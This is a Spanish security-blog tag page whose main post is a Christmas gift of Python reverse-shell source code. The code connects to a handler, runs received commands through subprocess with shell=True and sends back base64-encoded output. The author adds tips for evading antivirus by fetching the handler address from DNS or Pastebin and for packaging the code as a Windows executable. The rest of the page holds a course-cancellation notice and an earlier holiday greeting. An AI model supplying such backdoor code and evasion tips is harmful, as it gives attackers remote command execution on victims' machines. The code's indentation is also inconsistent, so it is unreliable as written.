Mostrando entradas con la etiqueta ST2Blog. Mostrar todas las entradas
Mostrando entradas con la etiqueta ST2Blog. Mostrar todas las entradas

Este año es mi quinta (5) Navidad con vosotros, parece que fuera ayer (25/Dic 2011) cuando celebré la primera Navidad con todos vosotros, el camino recorrido hasta ahora ha sido gratificante y emocionante, pero quizás lo es aún más el camino que queda por recorrer.

Como es habitual, la intensidad con la que publico artículos se encuentra supeditada a la vida misma (y a los deseos de mi pequeña xD), el pasado 2014, se me olvido felicitar la Navidad, por lo que este año me ha parecido que la mejor forma de celebrarlo con vosotros es compartiendo el código de una shell reversa escrita en python ... que puede resultar de gran utilidad durante una Auditoria / Pentesting.

Muchas Gracias a todos por seguirme y leer mis publicaciones, no vemos el año próximo. Feliz Navidad con mis mejores deseos para el año que viene.

Custom Python Reverse Shell

Code*:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def shell():

   #Base64 encoded reverse shell
   try:
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       s.connect(('127.0.0.1', int(443)))
       s.send('[*] Connection Established!')
       while 1:
             cmd = s.recv(1024)
             if cmd == "quit":
                 break
             response = run_cmd(cmd)
             if response:
                 encoded = base64.b64encode(response)
             else:
                 response = 'Running: {}'.format(cmd)
             encoded = base64.b64encode(response)
             s.send(encoded)
    except socket.error:
       sys.exit(2)
    except WindowsError:
       pass
    finally:
       s.close()


Es un fragmento de como se puede implementar una "Shell" de conexión inversa en python de forma sencilla. Falta por supuesto como ejecutar comandos en el sistema:


1
2
3   
4
5
6
7
8
9
10
def run_cmd(data):
      proc = subprocess.Popen(data,
                                     shell=True,
                stdout=subprocess.PIPE,
                 stderr=subprocess.PIPE,
                  stdin=subprocess.PIPE)
      stdout = proc.stdout.read() + proc.stderr.read()
      return stdout


He utilizado subprocess para la ejecución de "comandos" en el sistema remoto. Estoy seguro que mas de uno esta pensando técnicas para mejorar la shell, implementar nuevos comandos, etc. Por ejemplo, la IP podría cogerla de un registro DNS, o de un recurso WEB publico, para evitar hardcodear (incrustar) la IP dentro del código fuente. Se recomienda, hardcodear en base64 la URL del recurso WEB para determinar la IP del "handler" y tratar de evitar la detección como malware por los antivirus (Alguien se anima a mejorar la Shell implementando la obtención de la IP desde un recurso web publico como pastenBIN?)

Compatible tanto en Windows como en Linux, se puede crear un ejecutable para Windows utilizando pyexe o pyinstaller.

Es un "shell" muy simple pero efectiva. Os invito a probarla y comentar las limitaciones que tiene la Shell y como se podrían solventar!

Por supuesto, os dejo como trabajo para casa, la creación del "cliente" que se conecta y maneja la conexión inversa con la shell .. xD

#ST2 #ST2Labs os desea:
¡¡¡FeliZ Navidad!!! - Merry Christmas - Joyeux Noël - Frohe Weihnachten - С Рождеством - 圣诞节快乐 - Buon Natale - God Jul -Feliz Natal ...

@rhodius | @seguridadxato2 | @st2labs

[*] Basada en el código de primalsecurity


ACTUALIZACIÓN (26/06/2015): El curso ha sido cancelado por "agotamiento" de convocatoria. Hasta nuevo aviso, no habrá más cursos en colaboración ST2Labs y Canal Seguro. Aviso: no soy tutor de ningún otro curso en Canal Seguro, a menos que yo mismo lo anuncie de forma oficial a través de mis cuentas de redes sociales y este Blog_.

>>> /*


[..] lanza el curso de "Security Systems and Networks” con el firme objetivo de proporcionar al alumno las herramientas y conocimientos necesarios para realizar un análisis básico de seguridad de sistemas y redes, desde un perfil ético para poder detectar las vulnerabilidad y proponer contramedidas para reducir el nivel del riesgo. [...] */
Ya son las IV (4) Navidades juntos !!!!!

¡Cómo pasa el tiempo¡ , sigo y seguiré compartiendo los buenos momentos con todos vosotros a través del Blog y Twitter @seguridadxato2 @st2labs

Finalizo el año ilusionado con el nuevo proyecto de vigilancia de páginas WEB (webguardshield.com) y con la vista puesta en el lanzamiento de secnapsis.com | Si olvidarme de mis alumnos del Máster de Seguridad TIC que en su 2 edición habrá más Hacking, más Metasploit y algo de Python para Hackers, siempre con la ilusión de cada año, en cada edición intentamos superar sus expectativas y eso, genera la necesidad de renovarse en un ciclo constante!!!

Y por supuesto de cara a un nuevo año, ST2Blog renueva imagen más acorde con las actividades y contenido que nos espera! #HappyHacking2015

Esperemos que este nuevo año que va a dar comienzo, nos traiga a todos #ciberseguridad y buenas practicas!!

Nos vemos en 2015 !!! ah!! y por supuesto os deseo un Feliz Año Nuevo!

PD: Espero poder escribir algunos #post sobre los nuevos proyectos muy pronto!

Julian J. Gonzalez (@rhodius)